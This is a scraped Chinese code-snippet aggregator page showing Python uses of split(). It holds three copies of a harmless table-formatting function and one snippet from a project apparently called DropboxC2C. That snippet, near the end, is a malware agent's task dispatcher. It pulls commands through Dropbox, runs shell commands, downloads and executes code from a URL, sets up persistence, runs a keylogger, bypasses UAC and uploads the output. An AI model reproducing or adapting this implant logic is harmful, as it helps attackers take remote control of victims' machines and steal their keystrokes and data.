python类split()的实例源码

cpdb.py 文件源码 项目:Problematica-public 作者: TechMaz 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def wrapTable(
        self, rows, hasHeader=False, headerChar='-', delim=' | ', justify='left',
            separateRows=False, prefix='', postfix='', wrapfunc=lambda x: x):

        def rowWrapper(row):

            '''---
                    newRows is returned like
                            [['w'], ['x'], ['y'], ['z']]
                                                                    ---'''
            newRows = [wrapfunc(item).split('\n') for item in row]
            self.rows = newRows
            '''---
                        rowList gives like newRows but
                            formatted like [[w, x, y, z]]
                                                                ---'''
            rowList = [[substr or '' for substr in item]
                       for item in map(None, *newRows)]
            return rowList

        logicalRows = [rowWrapper(row) for row in rows]

        columns = map(None, *reduce(operator.add, logicalRows))
        self.columns = columns

        maxWidths = [max(
                     [len(str
                        (item)) for
                      item in column]
                     ) for column
                     in columns]

        rowSeparator = headerChar * (len(prefix) +len(postfix) + sum(maxWidths) +
                                     len(delim) * (len(maxWidths) - 1))

        justify = {'center': str.center,
                   'right': str.rjust,
                   'left': str.ljust
                   }[justify.lower()]

        output = cStringIO.StringIO()

        if separateRows:
            print >> output, rowSeparator

        for physicalRows in logicalRows:
            for row in physicalRows:
                print >> output,\
                    prefix + delim.join([
                                        justify(str(item), width) for (
                                        item, width) in zip(row, maxWidths)]
                                        ) + postfix

            if separateRows or hasHeader:
                print >> output, rowSeparator
                hasHeader = False
        return output.getvalue()
cpdb.py 文件源码 项目:slugiot-client 作者: slugiot 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def wrapTable(
        self, rows, hasHeader=False, headerChar='-', delim=' | ', justify='left',
            separateRows=False, prefix='', postfix='', wrapfunc=lambda x: x):

        def rowWrapper(row):

            '''---
                    newRows is returned like
                            [['w'], ['x'], ['y'], ['z']]
                                                                    ---'''
            newRows = [wrapfunc(item).split('\n') for item in row]
            self.rows = newRows
            '''---
                        rowList gives like newRows but
                            formatted like [[w, x, y, z]]
                                                                ---'''
            rowList = [[substr or '' for substr in item]
                       for item in map(None, *newRows)]
            return rowList

        logicalRows = [rowWrapper(row) for row in rows]

        columns = map(None, *reduce(operator.add, logicalRows))
        self.columns = columns

        maxWidths = [max(
                     [len(str
                        (item)) for
                      item in column]
                     ) for column
                     in columns]

        rowSeparator = headerChar * (len(prefix) +len(postfix) + sum(maxWidths) +
                                     len(delim) * (len(maxWidths) - 1))

        justify = {'center': str.center,
                   'right': str.rjust,
                   'left': str.ljust
                   }[justify.lower()]

        output = cStringIO.StringIO()

        if separateRows:
            print >> output, rowSeparator

        for physicalRows in logicalRows:
            for row in physicalRows:
                print >> output,\
                    prefix + delim.join([
                                        justify(str(item), width) for (
                                        item, width) in zip(row, maxWidths)]
                                        ) + postfix

            if separateRows or hasHeader:
                print >> output, rowSeparator
                hasHeader = False
        return output.getvalue()
cpdb.py 文件源码 项目:StuffShare 作者: StuffShare 项目源码 文件源码 阅读 16 收藏 0 点赞 0 评论 0
def wrapTable(
        self, rows, hasHeader=False, headerChar='-', delim=' | ', justify='left',
            separateRows=False, prefix='', postfix='', wrapfunc=lambda x: x):

        def rowWrapper(row):

            '''---
                    newRows is returned like
                            [['w'], ['x'], ['y'], ['z']]
                                                                    ---'''
            newRows = [wrapfunc(item).split('\n') for item in row]
            self.rows = newRows
            '''---
                        rowList gives like newRows but
                            formatted like [[w, x, y, z]]
                                                                ---'''
            rowList = [[substr or '' for substr in item]
                       for item in map(None, *newRows)]
            return rowList

        logicalRows = [rowWrapper(row) for row in rows]

        columns = map(None, *reduce(operator.add, logicalRows))
        self.columns = columns

        maxWidths = [max(
                     [len(str
                        (item)) for
                      item in column]
                     ) for column
                     in columns]

        rowSeparator = headerChar * (len(prefix) +len(postfix) + sum(maxWidths) +
                                     len(delim) * (len(maxWidths) - 1))

        justify = {'center': str.center,                   
                   'right': str.rjust,
                   'left': str.ljust
                   }[justify.lower()]

        output = cStringIO.StringIO()

        if separateRows:
            print >> output, rowSeparator

        for physicalRows in logicalRows:
            for row in physicalRows:
                print >> output,\
                    prefix + delim.join([
                                        justify(str(item), width) for (
                                        item, width) in zip(row, maxWidths)]
                                        ) + postfix

            if separateRows or hasHeader:
                print >> output, rowSeparator
                hasHeader = False
        return output.getvalue()
agent.py 文件源码 项目:DropboxC2C 作者: 0x09AL 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def doTask(command,task):
    mode = (dropbox.files.WriteMode.overwrite)
    output = {}
    path = '/%s/output' % agentName
    try:
        _, res = dbx.files_download(path)
    except Exception:
        dbx.files_upload(json.dumps(output),path,mode)
        pass
        _, res = dbx.files_download(path)

    output = json.loads(res.content.replace('\n',''))

    # checks for commands with double parameters.

    if(command.startswith('{SHELL}')):

        cmd = command.split('{SHELL}')[1]
        output[task] = {"OUTPUT": exec_cmd(cmd)}


    if(command.startswith('{DOWNLOAD}')):

        url = command.split('{DOWNLOAD}')[1]
        output[task] = {"OUTPUT": exec_downloadexecute(url)}

    elif(command == "persist"):
        output[task] = {"OUTPUT": exec_persist()}


    elif(command == "keylog_start"):
        output[task] = {"OUTPUT": exec_keylog_start()}

    elif(command == "keylog_stop"):
        output[task] = {"OUTPUT": exec_keylog_stop()}

    elif(command == "bypassuac"):
        output[task] = {"OUTPUT": exec_bypassuac()}


    # Upload the output of commands 
    try:
        dbx.files_upload(json.dumps(output),path,mode)
        completedTasks.append(task)
    except Exception:
        time.sleep(30)
        pass


问题


面经


文章

微信
公众号

扫码关注公众号